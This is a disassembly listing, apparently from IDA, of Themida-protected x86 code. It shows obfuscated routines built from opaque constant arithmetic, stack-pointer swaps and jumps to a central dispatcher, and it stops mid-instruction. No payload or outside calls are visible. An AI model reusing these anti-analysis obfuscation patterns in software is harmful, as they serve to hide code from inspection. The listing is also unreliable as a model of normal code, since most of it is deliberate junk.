--------------------------------------------------------------------------- loc_596C16: ; CODE XREF: sub_59196D:loc_5958AAj shl ebx, 5 js loc_597188 jmp loc_58BCEE ; --------------------------------------------------------------------------- add ebp, 450F09CAh pop edi mov eax, ebp loc_596C2D: ; CODE XREF: sub_59196D+39F8j add eax, 1D740610h sub eax, edi sub eax, 1D740610h push esi mov esi, 6F0E7501h sub esi, 9FD093Fh add esi, 7A313264h xor esi, 6B693992h jmp loc_59480E ; --------------------------------------------------------------------------- loc_596C56: ; CODE XREF: sub_59196D-58F9j pop ebx sub eax, 6AC00378h add eax, ecx add eax, 6AC00378h pop ecx push ebx mov ebx, esp add ebx, 4 jmp loc_58DDF9 ; --------------------------------------------------------------------------- loc_596C72: ; CODE XREF: sub_59196D+68EDj add edi, edx jmp loc_58D571 ; --------------------------------------------------------------------------- loc_596C79: ; CODE XREF: sub_59196D+638Bj add bh, 90h add ch, 0CBh jmp loc_5949FA ; --------------------------------------------------------------------------- loc_596C84: ; CODE XREF: sub_59196D+1A5Cj push 431Eh mov [esp+20h+var_22+2], ebp mov ebp, 58A14F1Dh sub esp, 4 mov [esp+24h+var_26+2], esi mov esi, 8E427BCh mov edx, 4FBD2763h add edx, esi pop esi xor edx, ebp pop ebp add eax, edx pop edx xchg eax, [esp+18h+var_1A+2] mov esp, [esp+18h+var_1A+2] idiv cx push small 0E4Dh mov word ptr [esp+1Ah+var_1A], dx push ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_596CC6: ; CODE XREF: sub_59196D+2A47j pop ebx mov ebx, [esp+24h+var_26+2] add esp, 4 push ebx jmp loc_58E0FB ; --------------------------------------------------------------------------- loc_596CD6: ; CODE XREF: sub_59196D-654Bj mov al, 2Ch add bh, al pop eax mov cl, bh pop ebx jmp loc_5961CB ; --------------------------------------------------------------------------- loc_596CE3: ; CODE XREF: sub_59196D-D21j pop esi xchg edx, [esp+1Ch+var_1E+2] mov esp, [esp+1Ch+var_1E+2] add bl, 2Dh jmp loc_5903E2 ; --------------------------------------------------------------------------- loc_596CF2: ; CODE XREF: sub_59196D-12C1j inc ecx add ecx, 0B0A6FBFBh push 14EAh jmp loc_595FF1 ; --------------------------------------------------------------------------- loc_596D03: ; CODE XREF: sub_59196D-42B2j ; sub_59196D-76Dj mov ebx, [esp+14h+var_16+2] add esp, 4 mov ecx, ebx jmp loc_58D975 ; --------------------------------------------------------------------------- loc_596D13: ; CODE XREF: sub_59196D-2FEFj xchg edx, [esp+24h+var_26+2] jmp loc_5982CF ; --------------------------------------------------------------------------- loc_596D1B: ; CODE XREF: sub_59196D+3C6Ej jmp loc_5975B6 ; --------------------------------------------------------------------------- loc_596D20: ; CODE XREF: Themida_:0058F06Fj and eax, ebp pop ebp neg eax shl eax, 8 push ebx jmp loc_58E2A5 ; --------------------------------------------------------------------------- loc_596D2E: ; CODE XREF: sub_59196D+3F5Fj shr ecx, 0Bh sub esp, 4 jmp loc_5938DE ; --------------------------------------------------------------------------- loc_596D3C: ; CODE XREF: sub_59196D+977j ; sub_59196D+5571j push ecx mov ecx, 4FD879DEh and ecx, 271200EBh not ecx sub ecx, 14F46AD3h shr ecx, 8 dec ecx push ebp jmp loc_5985AB ; --------------------------------------------------------------------------- loc_596D5A: ; CODE XREF: sub_59196D-1610j push cx pushf jmp loc_59752A ; --------------------------------------------------------------------------- loc_596D62: ; CODE XREF: sub_59196D+5BE8j xor dh, 0A2h add dh, 20h and al, dh mov edx, [esp+1Ah+var_1A] add esp, 4 jmp loc_58FDB0 ; --------------------------------------------------------------------------- loc_596D75: ; CODE XREF: sub_59196D+138Bj mov eax, esp push 5FB3h jmp loc_5933E6 ; --------------------------------------------------------------------------- loc_596D81: ; CODE XREF: sub_59196D+1EE8j sub edx, 54744361h dec edx sub edx, 16C341C7h sub edx, 0F98A1B55h mov ebp, edx mov edx, [esp+18h+var_1A+2] add esp, 4 shl ebp, 8 push edi mov edi, 569073F7h add edi, 0F591D9BAh jmp loc_594F1A ; --------------------------------------------------------------------------- loc_596DB0: ; CODE XREF: sub_59196D+16F7j ; sub_59196D+577Cj pop esp add ebp, 4 push edi mov edi, 4 jmp loc_594021 ; --------------------------------------------------------------------------- lodsb xor al, bl push ebx mov bh, 29h add bh, 0C2h jmp loc_5937E9 ; --------------------------------------------------------------------------- loc_596DD0: ; CODE XREF: sub_59196D-4A67j push eax mov eax, 3BBA3534h push edx mov edx, 511C4641h add edx, 0AEE3B9BEh add eax, edx pop edx jmp loc_59626C ; --------------------------------------------------------------------------- loc_596DEA: ; CODE XREF: sub_59196D-4C45j xor ecx, 76165A92h add ecx, 0D41F2175h jmp loc_5946B7 ; --------------------------------------------------------------------------- loc_596DFB: ; CODE XREF: sub_59196D-4520j jo loc_593DBD jmp loc_58D9B6 ; --------------------------------------------------------------------------- loc_596E06: ; CODE XREF: sub_59196D+641Dj add edx, 4 add edx, 4 xor edx, [esp+34h+var_36+2] jmp loc_591FED ; --------------------------------------------------------------------------- loc_596E1A: ; CODE XREF: sub_59196D+449Aj pop edi jmp loc_59422F ; --------------------------------------------------------------------------- loc_596E20: ; CODE XREF: sub_59196D+1BEBj mov [esp+28h+var_2A+2], edi pop ebx pop edi jmp loc_590CA2 ; --------------------------------------------------------------------------- loc_596E2A: ; CODE XREF: sub_59196D-18B1j ; sub_59196D-ABEj sub dl, 47h jmp loc_5955CF ; --------------------------------------------------------------------------- loc_596E32: ; CODE XREF: sub_59196D-3FBCj mov ecx, 0FDCFD857h sub edi, ecx pop ecx add ecx, edi pop edi add ecx, 2 xchg ecx, [esp+0Ch+var_C] pop esp dec word ptr [esp+8+var_8] pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_596E51: ; CODE XREF: sub_59196D-36DBj pop esi pop [esp+28h+var_2A+2] pop esp and [esp+20h+var_22+2], eax pushf jmp loc_58F284 ; --------------------------------------------------------------------------- loc_596E5F: ; CODE XREF: sub_59196D+623Cj pop eax add eax, 4 push edi push eax mov eax, 10747255h xor eax, 10747251h jmp loc_5960BB ; --------------------------------------------------------------------------- loc_596E76: ; CODE XREF: sub_59196D+A95j sub ebx, ebp pop ebp pop edx push ebp jmp loc_592173 ; --------------------------------------------------------------------------- loc_596E80: ; CODE XREF: sub_59196D-5347j ; sub_59196D+A08j not dl jmp loc_5900BA ; --------------------------------------------------------------------------- loc_596E87: ; CODE XREF: sub_59196D+279j pop esi shr esi, 5 jz loc_58D1D1 add esi, 3DC67BABh jnb loc_592F4D xor esi, 2B7B0F78h js loc_58D490 push edi loc_596EAA: ; CODE XREF: sub_59196D+617Cj mov ebp, 2FD326C9h push 4B5Dh jmp loc_58D6F8 ; --------------------------------------------------------------------------- loc_596EB9: ; CODE XREF: sub_59196D+38BFj push ebx mov ebx, 0F5DE3D7Bh mov ebp, ebx mov ebx, [esp+18h+var_1A+2] add esp, 4 add ebx, ebp mov ebp, [esp+14h+var_16+2] add esp, 4 add edi, ebx pop ebx jmp loc_58F55B ; --------------------------------------------------------------------------- loc_596EDD: ; CODE XREF: sub_59196D+429Aj pop ebp jmp loc_596D3C ; --------------------------------------------------------------------------- loc_596EE3: ; DATA XREF: Themida_:0058B0FCo xor byte ptr [esp+18h+var_1A+2], al xor al, byte ptr [esp+18h+var_1A+2] xor byte ptr [esp+18h+var_1A+2], al xor al, dh jmp loc_597E5D ; --------------------------------------------------------------------------- loc_596EF3: ; CODE XREF: sub_59196D+592Fj sub ecx, 6F0566B3h pop edi jmp loc_592979 ; --------------------------------------------------------------------------- loc_596EFF: ; CODE XREF: sub_59196D-C35j add bl, 66h push eax mov al, 0E6h jmp loc_5932D4 ; --------------------------------------------------------------------------- loc_596F0A: ; CODE XREF: sub_59196D-77Bj sub al, 3Fh jmp loc_5945A3 ; --------------------------------------------------------------------------- loc_596F11: ; CODE XREF: sub_59196D-3429j pop esi xor ebx, [esp+1Ch+var_1E+2] xor [esp+1Ch+var_1E+2], ebx xor ebx, [esp+1Ch+var_1E+2] mov esp, [esp+1Ch+var_1E+2] add esp, 4 push ebx push eax push ebx mov ebx, edi push 62F4h mov [esp+28h+var_2A+2], edi push ebx mov edi, [esp+2Ch+var_2E+2] jmp loc_5969AE ; --------------------------------------------------------------------------- loc_596F3A: ; CODE XREF: sub_59196D+18E4j mov ebx, 6F0B279Fh push esi jmp loc_596281 ; --------------------------------------------------------------------------- loc_596F45: ; CODE XREF: sub_5918E7-19EAj ; sub_59196D+949j pop [esp+24h+var_26+2] jmp loc_594C5D ; --------------------------------------------------------------------------- loc_596F4D: ; CODE XREF: sub_59196D-3AF9j jns loc_58D4C7 push esi push edx mov edx, 7A2044AFh mov esi, 96B765A4h mov eax, eax push esp loc_596F62: ; CODE XREF: sub_59196D+1F53j push esp jmp loc_5951C2 ; --------------------------------------------------------------------------- loc_596F68: ; CODE XREF: sub_59196D:loc_594DC5j push edx jmp loc_594616 ; --------------------------------------------------------------------------- loc_596F6E: ; CODE XREF: sub_59196D:loc_58D347j neg eax jo loc_58EEE5 sub eax, 6EF96C2Fh js loc_593508 jmp loc_5933CE ; --------------------------------------------------------------------------- add esp, 4 mov edx, [esp+0] loc_596F8C: ; CODE XREF: sub_59196D-4686j pop esi xchg ebp, [esp+42h+var_44+2] pop esp xchg ebp, [esp+3Eh+var_40+2] mov esp, [esp+3Eh+var_40+2] jmp loc_5903A3 ; --------------------------------------------------------------------------- loc_596F9C: ; CODE XREF: sub_59196D+5D43j push eax mov eax, 3E374B76h neg eax neg eax and eax, 423306D4h neg eax sub eax, 0CA009568h add edx, 1A7464Ah jmp loc_58B38A ; --------------------------------------------------------------------------- loc_596FBD: ; CODE XREF: sub_59196D+40DCj movzx ax, byte ptr [eax] sub esp, 4 mov [esp+18h+var_1A+2], ecx jmp loc_58B3CB ; --------------------------------------------------------------------------- loc_596FCC: ; CODE XREF: sub_59196D-39B3j xor ebx, [esp+32h+var_32] pop esp mov [esp+2Eh+var_2E], eax mov al, 0F0h add al, 85h jbe loc_5975F7 dec al jnp loc_593A4C dec al loc_596FE7: ; CODE XREF: sub_59196D+377Bj mov edx, 2 sub esi, 7D757527h add esi, edx push ebp mov ebp, 1813583Eh sub ebp, 6756425Ch shl ebp, 1 push esi push edi jmp loc_58B9FF ; --------------------------------------------------------------------------- loc_597009: ; CODE XREF: sub_59196D+2963j pop esp jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59700F: ; CODE XREF: sub_59196D-4301j add ebx, ebp pop ebp xchg ebx, [esp+30h+var_32+2] pop esp jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59701B: ; CODE XREF: sub_59196D+4E97j sub eax, esi pop esi jmp loc_58B37B ; --------------------------------------------------------------------------- loc_597023: ; CODE XREF: sub_59196D-5EFCj push [esp+14h+var_16+2] jmp loc_5940DF ; --------------------------------------------------------------------------- loc_59702B: ; CODE XREF: sub_59196D+4424j xor edi, 6825AAF5h push edi xor [esp+14h+var_16+2], 3F381384h jmp loc_58F57D ; --------------------------------------------------------------------------- loc_59703E: ; CODE XREF: sub_59196D+1E61j or edx, 418A6F8Eh add edx, 0F24EE73Bh add [edi+20h], edx pop edx jmp loc_58F587 ; --------------------------------------------------------------------------- loc_597053: ; CODE XREF: sub_59196D+5AA9j shr ecx, 8 jmp loc_591FC4 ; --------------------------------------------------------------------------- loc_59705B: ; CODE XREF: sub_59196D+1724j mov edi, 579E2DF5h jmp loc_596B5C ; --------------------------------------------------------------------------- loc_597065: ; CODE XREF: sub_59196D-15ABj mov ch, dl pop edx sub esp, 4 mov [esp+14h+var_16+2], edx mov dh, 0DFh sub dh, 0FFh and dh, 0F5h jmp loc_58F823 ; --------------------------------------------------------------------------- loc_59707B: ; DATA XREF: Themida_:0058B198o mov ax, word ptr [esp+14h+var_16+2] push ecx push 295h mov [esp+1Ch+var_1E+2], esp add [esp+1Ch+var_1E+2], 4 mov ecx, [esp+1Ch+var_1E+2] push edx push esp pop edx add edx, 4 jmp loc_5956EE ; --------------------------------------------------------------------------- loc_59709D: ; CODE XREF: Themida_:00591708j ; sub_59196D+106Aj push 38Fh mov [esp+0], ebp jmp loc_59209A ; --------------------------------------------------------------------------- loc_5970AA: ; CODE XREF: sub_59196D-64D3j xor ah, 28h jo loc_593C7F and ah, 28h not ah sub ah, 47h push ebx jmp loc_58C8F5 ; --------------------------------------------------------------------------- loc_5970C1: ; CODE XREF: sub_59196D+44Dj push edi push 361D27E6h pop edi neg edi neg edi jmp loc_58D13B ; --------------------------------------------------------------------------- loc_5970D1: ; CODE XREF: sub_59196D+4280j mov esi, esp jmp loc_58D060 ; --------------------------------------------------------------------------- loc_5970D8: ; CODE XREF: sub_59196D+22F6j push edx jmp loc_59814D ; --------------------------------------------------------------------------- loc_5970DE: ; CODE XREF: sub_59196D-376Fj js loc_595231 or eax, 1FF07952h jle loc_596DB0 jmp loc_58CD2D ; --------------------------------------------------------------------------- loc_5970F4: ; CODE XREF: sub_59196D+C3Bj or edx, 63350DB9h ja loc_5955F6 sub edx, 6F752D81h jmp loc_58CB21 ; --------------------------------------------------------------------------- pop ecx mov al, ah loc_59710E: ; CODE XREF: sub_59196D+E7j add eax, 4E763204h or edi, eax pop eax dec edi shr edi, 7 xor edi, 2E16E14Bh add edx, edi pop edi push dword ptr [edx] pop eax pop edx push dword ptr [edi+eax*4] xor [esp+12h+var_12], 0CC752E5h push [esp+12h+var_12] pop eax push edx jmp loc_593ECA ; --------------------------------------------------------------------------- loc_59713B: ; CODE XREF: Themida_:0058DCD8j push 3039785Fh mov ecx, [esp+1Ah+var_1A] push esi jmp loc_58C47F ; --------------------------------------------------------------------------- loc_597149: ; CODE XREF: sub_59196D-5C3Ej add bl, ah mov ax, word ptr [esp+2Ah+var_2A] add esp, 2 sub bl, al jmp loc_58DCDD ; --------------------------------------------------------------------------- loc_59715C: ; CODE XREF: sub_59196D+4C29j add esp, 4 dec edx jmp loc_597961 ; --------------------------------------------------------------------------- loc_597168: ; CODE XREF: sub_59196D-1428j pop edx sub al, 61h jmp loc_595637 ; --------------------------------------------------------------------------- loc_597170: ; CODE XREF: sub_59196D-2BA5j sub ecx, esi sub esp, 4 mov [esp+3Ah+var_3C+2], ebp jmp loc_595E85 ; --------------------------------------------------------------------------- loc_59717D: ; CODE XREF: sub_59196D:loc_5914D6j sub esi, 0BBCB5B60h jmp loc_58EA3A ; --------------------------------------------------------------------------- loc_597188: ; CODE XREF: sub_59196D+52ACj jmp loc_59682A ; --------------------------------------------------------------------------- loc_59718D: ; CODE XREF: sub_59196D-4513j ; sub_59196D:loc_596495j ... add ebp, 450F09CAh pop edi xor ebp, [esp+30h+var_32+2] xor [esp+30h+var_32+2], ebp xor ebp, [esp+30h+var_32+2] mov esp, [esp+30h+var_32+2] shl [esp+30h+var_32+2], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5971A9: ; CODE XREF: sub_59196D+1136j xchg edx, [esp+0] mov esp, [esp+0] add esp, 4 push [esp+0Ah+var_C+2] pop eax jmp loc_596318 ; --------------------------------------------------------------------------- loc_5971BE: ; CODE XREF: sub_59196D+4EB8j push 5ABA1924h jmp loc_59726F ; --------------------------------------------------------------------------- loc_5971C8: ; CODE XREF: sub_59196D+6140j or eax, edx pop edx add eax, 0A4888298h mov edi, eax pop eax add [esp+34h+var_32+2], edi mov edi, [esp+34h+var_36+2] jmp loc_5955B9 ; --------------------------------------------------------------------------- loc_5971DF: ; CODE XREF: sub_59196D+9FFj pop ebp add esi, ebx push [esp+10h+var_12+2] pop ebx add esp, 4 jmp loc_58BAE2 ; --------------------------------------------------------------------------- loc_5971EE: ; CODE XREF: sub_59196D+14D9j shl esi, 2 jmp loc_59657B ; --------------------------------------------------------------------------- loc_5971F6: ; CODE XREF: sub_59196D+674Aj push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_5969EA ; --------------------------------------------------------------------------- loc_59720A: ; CODE XREF: sub_59196D+50C7j sub eax, esi jmp loc_58DE0B ; --------------------------------------------------------------------------- loc_597211: ; CODE XREF: sub_59196D-10BAj inc dl dec dl jmp loc_5903BF ; --------------------------------------------------------------------------- loc_59721A: ; CODE XREF: sub_59196D+851j add edi, 4 xchg edi, [esp+24h+var_26+2] pop esp mov edx, [esp+20h+var_22+2] push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 add ebx, 73382460h add ebx, ebp push edx mov edx, 73382460h sub ebx, edx pop edx jmp loc_592C38 ; --------------------------------------------------------------------------- loc_59724C: ; CODE XREF: sub_59196D-2F5Ej ; sub_59196D+4BF2j mov ebx, 200A0239h shr ebx, 8 push ecx mov ecx, 6AA58FCh add ebx, ecx pop ecx add eax, ebx pop ebx mov esi, [esp+18h+var_1A+2] jmp loc_5963CD ; --------------------------------------------------------------------------- loc_597268: ; CODE XREF: sub_59196D-5BA3j mov edx, ebx jmp loc_5937B8 ; --------------------------------------------------------------------------- loc_59726F: ; CODE XREF: sub_59196D+5856j pop eax and eax, 24D67FAh xor eax, 6C3F01DBh mov ebx, eax mov eax, [esp+0] add esp, 4 mov ecx, 361D3242h xor ecx, ebx jmp loc_58C9E2 ; --------------------------------------------------------------------------- loc_59728E: ; CODE XREF: sub_59196D+B5j xor edi, 0CCD3C82Dh add ecx, 6F0566B3h sub ecx, edi jmp loc_596EF3 ; --------------------------------------------------------------------------- loc_5972A1: ; CODE XREF: sub_59196D-1540j add ebx, edx pop edx jmp loc_58B6E0 ; --------------------------------------------------------------------------- loc_5972A9: ; CODE XREF: sub_59196D+5B58j mov word ptr [esp-4+arg_0], cx movzx cx, al push cx pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5972B9: ; CODE XREF: sub_59196D-1B26j add esi, 4 add esi, 4 xchg esi, [esp+14h+var_16+2] pop esp pop [esp+10h+var_12+2] mov esp, [esp+0Ch+var_C] mov [esp+0Ch+var_C], ebx mov eax, [esp+0Ch+var_C] jmp loc_58EF98 ; --------------------------------------------------------------------------- loc_5972D7: ; CODE XREF: sub_59196D+1F3Cj mov [esp+4+var_4], ebx jmp loc_58EAAE ; --------------------------------------------------------------------------- loc_5972DF: ; CODE XREF: sub_58E5BF+1Ej mov ebx, ebp pop ebp mov eax, ebx pop ebx add esi, eax push [esp-4+arg_0] pop eax add esp, 4 add esi, 4 xchg esi, [esp-8+arg_4] jmp loc_595387 ; --------------------------------------------------------------------------- loc_5972FF: ; CODE XREF: sub_59196D+4821j add al, bl jmp loc_5927C9 ; --------------------------------------------------------------------------- loc_597306: ; CODE XREF: sub_59196D-4D92j mov ebx, 3EAE70F0h add esi, 107873ABh sub esi, ebx sub esi, 107873ABh mov ebx, [esp+30h+var_32+2] add esp, 4 sub esi, 25410BC6h add esi, ebp add esi, 25410BC6h push eax mov eax, 710637EFh add eax, 0CDA83901h add esi, eax pop eax push [esp+2Ch+var_2E+2] pop ebp push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp+30h+var_32+2] xor [esp+30h+var_32+2], edi xor edi, [esp+30h+var_32+2] pop esp jmp loc_58BCEE ; --------------------------------------------------------------------------- loc_59735D: ; CODE XREF: sub_59196D:loc_58C2B0j xor eax, 1B6985h xor ecx, eax push [esp+18h+var_1A+2] jmp loc_59420B ; --------------------------------------------------------------------------- loc_59736C: ; CODE XREF: sub_59196D+51Cj pop edx jmp loc_58C947 ; --------------------------------------------------------------------------- loc_597372: ; CODE XREF: sub_59196D+5AE2j and dh, 2Bh ja loc_5946EB xor dh, 0C4h mov bl, dh jmp loc_5979A9 ; --------------------------------------------------------------------------- loc_597385: ; CODE XREF: sub_59196D-40FAj add ecx, 4 xchg ecx, [esp+4Eh+var_4E] pop esp push edi mov edi, 0B0D3B22h add edi, 0F4F2C4E2h add ebp, edi jmp loc_58D552 ; --------------------------------------------------------------------------- loc_59739F: ; DATA XREF: Themida_:0058B108o mov ax, word ptr [esp+4Eh+var_4E] push edi push 523Dh mov [esp+0], esp jmp loc_595C9C ; --------------------------------------------------------------------------- loc_5973B1: ; CODE XREF: sub_59196D+FE7j inc ecx jmp loc_58D243 ; --------------------------------------------------------------------------- loc_5973B7: ; CODE XREF: sub_59196D+42FAj sub eax, 132A438Dh add eax, ebp add eax, 132A438Dh jmp loc_58DB57 ; --------------------------------------------------------------------------- loc_5973C8: ; CODE XREF: sub_59196D+312Fj xor edx, 54EA4BE0h inc edx add edx, 100A3438h jmp loc_597AB2 ; --------------------------------------------------------------------------- loc_5973DA: ; CODE XREF: sub_59196D-140Ej xor ebp, [esp+2Ah+var_2A] jmp loc_58B998 ; --------------------------------------------------------------------------- loc_5973E2: ; CODE XREF: sub_59196D-FDEj neg ebp sub ebp, 0EA2D24CCh jmp loc_58D484 ; --------------------------------------------------------------------------- shl ecx, 2 and ecx, 6BC70545h push ebp jmp loc_58EBD2 ; --------------------------------------------------------------------------- loc_5973FE: ; CODE XREF: sub_59196D+ADAj jmp loc_58B37B ; --------------------------------------------------------------------------- loc_597403: ; CODE XREF: sub_59196D+25Dj add esp, 4 push 4CDEh jmp loc_58F9B8 ; --------------------------------------------------------------------------- loc_597413: ; CODE XREF: sub_59196D-1BEj shr ecx, 6 jmp loc_597053 ; --------------------------------------------------------------------------- loc_59741B: ; CODE XREF: sub_59196D-4DBFj mov [esp+30h+var_32+2], esi push eax jmp loc_58F6E1 ; --------------------------------------------------------------------------- loc_597424: ; CODE XREF: sub_59196D+5E23j push 775545F9h pop ebx shr ebx, 3 jmp loc_58F7FE ; --------------------------------------------------------------------------- loc_597432: ; CODE XREF: sub_59196D-93j add ebp, 30F717B4h push eax mov eax, 0E8CD1DC3h add ebp, eax mov eax, [esp+18h+var_1A+2] add esp, 4 xor eax, ebp jmp loc_58E1FB ; --------------------------------------------------------------------------- loc_59744D: ; CODE XREF: sub_59196D:loc_58C28Ej inc dh jle loc_597372 and dh, 2Bh ja loc_59361E xor dh, 0C4h mov bl, dh mov edx, [esp+10h+var_12+2] add esp, 4 push eax mov al, bl mov dl, al mov eax, [esp+10h+var_12+2] push esi mov esi, esp jmp loc_595E6E ; --------------------------------------------------------------------------- loc_597479: ; CODE XREF: sub_59196D-1A4j xor esi, 461B7A95h mov ebp, esi pop esi add edx, ebp pop ebp pop ebp push edx push ecx mov ecx, 348E5585h sub [esp+8+var_4], ecx pop ecx pop ecx push esi mov esi, 348E5585h add ecx, esi jmp loc_58B8A0 ; --------------------------------------------------------------------------- lodsd xor eax, ebx jmp loc_59859A ; --------------------------------------------------------------------------- loc_5974A8: ; CODE XREF: sub_59196D-21E7j sub esi, 4 xor esi, [esp+2+var_4+2] xor [esp+2+var_4+2], esi xor esi, [esp+2+var_4+2] pop esp mov [esp+0], edi jmp loc_58B92D ; --------------------------------------------------------------------------- loc_5974BD: ; CODE XREF: sub_59196D-2DBj movzx cx, ah push small 2F04h jmp loc_5972A9 ; --------------------------------------------------------------------------- loc_5974CA: ; CODE XREF: sub_59196D+321Cj mov ebp, 4 add eax, ebp pop ebp add eax, 4 xor eax, [esp+0] xor [esp+0], eax xor eax, [esp+0] pop esp rep movsd add esp, [edx+38h] push ebx mov ebx, 38h sub ebx, 548A1384h add ebx, edx push edx mov edx, 548A1384h jmp loc_592DE6 ; --------------------------------------------------------------------------- loc_5974FD: ; CODE XREF: sub_59196D-205j mov ecx, esp jmp loc_58D8D1 ; --------------------------------------------------------------------------- loc_597504: ; CODE XREF: sub_59196D-5ADFj mov edi, ebp mov ebp, [esp+3Eh+var_40+2] add esp, 4 add [esp+3Ah+var_36], edi pop edi jmp loc_59860D ; --------------------------------------------------------------------------- loc_597516: ; CODE XREF: sub_59196D+E71j jbe loc_58C293 not cl push edx mov dl, 24h shl dl, 7 shl dl, 2 mov bl, 0CDh pop ebx loc_59752A: ; CODE XREF: sub_59196D+53F0j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59752F: ; CODE XREF: sub_59196D+1AEFj mov edx, ebx pop ebx add edx, ebx pop ebx mov ecx, edx push [esp+0Ch+var_C] pop edx jmp loc_594820 ; --------------------------------------------------------------------------- loc_597540: ; CODE XREF: sub_59196D-641Aj sub ebp, ebx pop ebx push edx mov edx, 3565124Ch push edx jmp loc_592D0B ; --------------------------------------------------------------------------- loc_59754F: ; CODE XREF: sub_59196D+39EBj add esp, 2 jmp loc_596D62 ; --------------------------------------------------------------------------- loc_59755A: ; CODE XREF: sub_59196D-B98j sub edi, edx pop edx xchg edi, [esp+0] pop esp mov [esp+52h+var_54+2], eax mov ah, dl mov bh, ah mov eax, [esp+52h+var_54+2] add esp, 4 mov al, bh mov ebx, [esp+4Eh+var_4E] add esp, 4 mov cl, al pop eax push ebx jmp loc_58E36C ; --------------------------------------------------------------------------- loc_59757F: ; CODE XREF: sub_59196D-AD2j sub esp, 4 mov [esp+20h+var_22+2], eax push ebx mov bh, 0BEh not bh dec bh add bh, 25h mov ah, bh pop ebx sub ah, 0D2h mov ch, ah jmp loc_58EBA9 ; --------------------------------------------------------------------------- loc_59759C: ; CODE XREF: sub_59196D-4BC6j ; sub_59196D-15A0j pop ebp xchg edx, [esp+36h+var_36] pop esp push 2528h jmp loc_590FCC ; --------------------------------------------------------------------------- loc_5975AB: ; CODE XREF: sub_59196D+46A8j add esp, 4 jmp loc_58BABD ; --------------------------------------------------------------------------- loc_5975B6: ; CODE XREF: sub_59196D+2850j ; sub_59196D:loc_596D1Bj not al sub al, 0F7h mov bl, al pop eax sub al, 91h add al, bl add al, 91h mov bx, [esp+0] jmp loc_58CBBE ; --------------------------------------------------------------------------- loc_5975CC: ; CODE XREF: sub_59196D+E36j jmp loc_592371 ; --------------------------------------------------------------------------- loc_5975D1: ; CODE XREF: sub_59196D-2E48j mov cl, 0FDh dec cl jmp loc_58F61D ; --------------------------------------------------------------------------- loc_5975DA: ; CODE XREF: sub_59196D+8A7j add ecx, 89C8A74Fh add ebx, ecx pop ecx add ebx, 4 xchg ebx, [esp+2Ch+var_2E+2] jmp loc_58CFAE ; --------------------------------------------------------------------------- loc_5975F1: ; CODE XREF: sub_59196D-2C6j push edi jmp loc_58F790 ; --------------------------------------------------------------------------- loc_5975F7: ; CODE XREF: sub_59196D+566Aj dec al jnp loc_5959F5 dec al jo loc_596986 add al, 1Eh js loc_597850 xor al, 37h mov bl, al push [esp+2Eh+var_2E] pop eax mov al, bh push ebx loc_59761A: ; CODE XREF: sub_59196D-4420j push 1E0Dh mov [esp+36h+var_36], edi mov edi, ebx mov eax, edi mov edi, [esp+36h+var_36] add esp, 4 jmp loc_58F8BF ; --------------------------------------------------------------------------- loc_597631: ; CODE XREF: sub_59196D+2590j pop esp push [esp+22h+var_22] pop eax sub esp, 4 mov [esp+26h+var_26], ecx push 5D6Ch push 5B59h jmp loc_59340F ; --------------------------------------------------------------------------- loc_59764E: ; CODE XREF: sub_59196D+7C4j add esi, 4 xor esi, [esp+32h+var_32] xor [esp+32h+var_32], esi xor esi, [esp+32h+var_32] jmp loc_594E19 ; --------------------------------------------------------------------------- loc_597662: ; CODE XREF: sub_58B8EB+6j mov [esp+32h+var_32], eax mov eax, esp add eax, 4 sub esp, 4 mov [esp+36h+var_36], ecx push edx mov edx, 4785112h push ebx mov ebx, 27C4383Bh xor ebx, 2B13628Bh js loc_5984A0 and ebx, 0F8146BBh jnb loc_58C572 sub ebx, 9C148D21h mov ecx, ebx jmp loc_595910 ; --------------------------------------------------------------------------- loc_5976A3: ; CODE XREF: sub_59196D-5032j sub esp, 4 mov [esp+42h+var_44+2], edi push edx jmp loc_595C6C ; --------------------------------------------------------------------------- loc_5976AF: ; CODE XREF: sub_59196D-AE6j pop edx jmp loc_596F9C ; --------------------------------------------------------------------------- loc_5976B5: ; CODE XREF: sub_59196D-15CFj add esp, 4 jmp loc_58F041 ; --------------------------------------------------------------------------- loc_5976BD: ; CODE XREF: Themida_:0058C5BEj or ebx, 9661758h and ebx, 2055173Dh and ebx, 601254AFh jmp loc_58F160 ; --------------------------------------------------------------------------- loc_5976D4: ; CODE XREF: sub_59196D+61A6j add ecx, 0AA20915h pop esi pop esi jmp loc_597B18 ; --------------------------------------------------------------------------- loc_5976E1: ; CODE XREF: sub_59196D-3014j pop ecx push ecx jmp loc_598536 ; --------------------------------------------------------------------------- loc_5976E8: ; CODE XREF: sub_59196D-34B8j push ecx push [esp+14h+var_12+2] jmp loc_58D368 ; --------------------------------------------------------------------------- loc_5976F2: ; CODE XREF: sub_59196D+281Ej pop edx xor ebx, [esp+34h+var_36+2] jmp loc_59319E ; --------------------------------------------------------------------------- loc_5976FB: ; CODE XREF: sub_59196D+13A3j sub ebp, edx pop edx sub ebp, edx add ebp, 7DD45C4Fh jmp loc_58C566 ; --------------------------------------------------------------------------- push dword ptr [esp+0] mov eax, [esp+4+var_4] add esp, 4 push edi push esp pop edi push eax jmp loc_5915E9 ; --------------------------------------------------------------------------- loc_59771D: ; CODE XREF: sub_59196D-2957j mov [esp-10h+arg_C], esi mov eax, [esp-10h+arg_C] add esp, 4 pop esi dec eax not eax jmp loc_593BDC ; --------------------------------------------------------------------------- loc_597732: ; CODE XREF: sub_59196D-505Aj mov ebp, 51BA22AAh mov edx, ebp mov ebp, [esp+3Eh+var_40+2] add esp, 4 push 0C7464B54h jmp loc_58B7BC ; --------------------------------------------------------------------------- loc_59774C: ; CODE XREF: sub_59196D+3B7Fj mov ebp, 47640E18h add ebp, 0BEBB48B9h jmp loc_595C05 ; --------------------------------------------------------------------------- loc_59775C: ; CODE XREF: sub_59196D+2C1Fj add esp, 4 jmp loc_58FC40 ; --------------------------------------------------------------------------- loc_597764: ; CODE XREF: sub_59196D-475Cj pop esi sub esi, 2C230573h dec esi xor esi, 4BC47C40h jp loc_58EE7E neg esi jo loc_592E01 jmp loc_5901AD ; --------------------------------------------------------------------------- loc_597785: ; CODE XREF: sub_59196D-37D3j mov edi, esp sub esp, 4 mov 